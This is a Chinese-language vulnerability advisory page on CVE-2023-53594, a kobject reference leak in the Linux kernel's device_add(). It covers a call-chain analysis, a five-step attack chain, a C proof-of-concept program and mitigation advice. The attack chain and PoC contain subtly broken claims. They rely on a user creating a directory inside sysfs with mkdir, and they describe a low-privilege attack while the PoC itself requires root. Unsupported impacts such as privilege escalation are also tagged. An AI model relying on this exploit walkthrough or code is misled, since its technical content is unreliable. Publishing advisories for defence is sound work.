IPBUF安全漏洞报告
English
CVE-2023-53594 CVSS 5.5 中危

CVE-2023-53594 Linux内核驱动核心device_add()资源泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53594
漏洞类型
资源泄漏/空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏driver coredevice_addkobject内核漏洞本地提权拒绝服务mac80211_hwsimsysfs

漏洞概述

CVE-2023-53594是Linux内核驱动核心(driver core)中device_add()函数存在的一个资源泄漏漏洞。该漏洞源于在device_add()函数中,当kobject_add()调用失败时,dev->kobj.parent已被设置为NULL,导致后续的cleanup_glue_dir()无法正确释放通过kobject_get()获取的资源,从而引发资源泄漏问题。

具体而言,在device_add()的执行流程中,首先会调用get_device_parent()函数,在该函数内部会调用class_dir_create_and_add(),进而调用kobject_add()并执行kobject_get()操作获取引用。随后,dev->kobj.parent被设置为kobj。如果后续的kobject_add()调用失败,虽然会将dev->kobj.parent设置为NULL,但此时get_glue_dir(dev)会返回NULL,导致cleanup_glue_dir()不会调用kobject_put()来释放之前获取的资源。

该漏洞的实际表现为:当尝试加载mac80211_hwsim.ko模块时,会出现"sysfs: cannot create duplicate filename '/devices/virtual/mac80211_hwsim'"的错误,导致模块加载失败。内核日志中会显示kobject_add_internal失败并提示不要在同一目录中注册同名对象。该漏洞会影响系统的可用性,可能导致某些内核模块无法正常加载。

技术细节

该漏洞的技术原理涉及Linux内核设备模型中的kobject引用计数管理机制。在device_add()函数执行过程中,存在以下关键调用链:

1. get_device_parent()被调用以获取设备父对象;
2. 在get_device_parent()内部,class_dir_create_and_add()创建类目录并调用kobject_add(),该操作会执行kobject_get()增加引用计数;
3. 之后dev->kobj.parent被设置为获取到的kobj;
4. 紧接着再次调用kobject_add(),如果该调用失败(例如因为重复的文件名),kobject_add()内部会将dev->kobj.parent设置为NULL;
5. 后续调用get_glue_dir(dev)时,由于dev->kobj.parent为NULL,返回值为NULL;
6. 在错误处理路径中调用cleanup_glue_dir(),但由于glue_dir为NULL,不会执行kobject_put()操作;
7. 结果是第2步中通过kobject_get()增加的引用计数永远不会被释放,造成资源泄漏。

利用方式方面,攻击者需要本地低权限访问系统,通过尝试加载存在命名冲突的内核模块来触发该漏洞。例如,当系统中已经存在mac80211_hwsim设备时,再次尝试加载mac80211_hwsim.ko模块会触发kobject_add()失败,进而导致资源泄漏。攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性影响低(C:L),对完整性无影响(I:N),但对可用性影响高(A:H),可能导致系统服务异常或模块加载失败。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限,可以通过普通用户账户或提权后获得访问能力。
STEP 2
步骤2:创建冲突的sysfs条目
攻击者在/sys/devices/virtual/目录下创建与目标内核模块同名的目录条目,例如创建mac80211_hwsim目录,模拟已存在的设备条目。
STEP 3
步骤3:触发kobject_add()失败
攻击者尝试使用insmod命令加载mac80211_hwsim.ko模块,触发device_add()函数调用链。当kobject_add()检测到重复的文件名时返回-EEXIST错误。
STEP 4
步骤4:触发资源泄漏
在kobject_add()失败后,dev->kobj.parent被设置为NULL,导致get_glue_dir()返回NULL,cleanup_glue_dir()无法正确释放之前通过kobject_get()获取的引用计数。
STEP 5
步骤5:影响系统可用性
资源泄漏可能导致内核对象引用计数异常,进一步触发系统不稳定或模块加载失败,影响系统的可用性。攻击者可重复触发此过程以加剧资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53594 - Linux kernel driver core resource leak // This PoC demonstrates how to trigger the resource leak by loading // mac80211_hwsim.ko module when a duplicate sysfs entry already exists. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> /* * Step 1: First, create a duplicate sysfs entry to simulate the conflict * This creates the condition where kobject_add() will fail with -EEXIST */ int create_duplicate_sysfs_entry() { // Create the sysfs path that will conflict with mac80211_hwsim const char *conflict_path = "/sys/devices/virtual/mac80211_hwsim"; // Attempt to create directory (requires root) if (mkdir(conflict_path, 0755) != 0) { perror("mkdir"); return -1; } printf("Created conflicting sysfs entry at: %s\n", conflict_path); return 0; } /* * Step 2: Trigger the vulnerability by attempting to load mac80211_hwsim * This will cause kobject_add() to fail with -EEXIST, triggering the * resource leak in device_add() */ int trigger_vulnerability() { printf("Attempting to load mac80211_hwsim.ko module...\n"); // Use insmod to load the module - this will trigger device_add() // and cause the kobject_add() failure path int ret = system("insmod /lib/modules/$(uname -r)/kernel/drivers/net/wireless/mac80211_hwsim.ko"); if (ret != 0) { printf("Module load failed as expected (triggering the vulnerability)\n"); printf("Check dmesg for: 'sysfs: cannot create duplicate filename'\n"); printf("Check dmesg for: 'kobject_add_internal failed for mac80211_hwsim'\n"); return 0; } return -1; } /* * Step 3: Verify the resource leak by checking kernel logs */ void verify_leak() { printf("\nChecking kernel logs for evidence of the vulnerability:\n"); system("dmesg | grep -A 20 'cannot create duplicate filename' | head -30"); // Check for leaked kobject references printf("\nChecking sysfs for leaked entries:\n"); system("ls -la /sys/devices/virtual/ | grep mac80211"); } int main(int argc, char *argv[]) { printf("=== CVE-2023-53594 PoC ===\n"); printf("Linux Kernel driver core resource leak in device_add()\n\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Please run as root or with sudo.\n"); return 1; } // Create the conflicting sysfs entry first if (create_duplicate_sysfs_entry() != 0) { printf("Failed to create conflicting entry.\n"); printf("The module may already be loaded or entry may exist.\n"); } // Trigger the vulnerability trigger_vulnerability(); // Verify and show evidence verify_leak(); printf("\n=== PoC completed ===\n"); printf("The resource leak has been triggered.\n"); printf("Reference counts for the parent kobject were not properly released.\n"); return 0; }

影响范围

Linux Kernel < 6.6
Linux Kernel 6.6.x (修复前版本)
Linux Kernel 6.1.x (LTS修复前版本)
Linux Kernel 5.15.x (LTS修复前版本)
Linux Kernel 5.10.x (LTS修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户加载内核模块的权限,通过移除或限制/sbin/insmod和/sbin/modprobe的访问权限;2)使用Linux Security Module(如SELinux、AppArmor)限制对sysfs虚拟设备目录的写操作权限;3)监控系统日志(dmesg)中的kobject_add_internal失败警告,及时发现和响应资源泄漏事件;4)避免在生产环境中加载存在命名冲突风险的内核模块;5)定期检查/sys/devices/virtual/目录下的异常条目并清理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表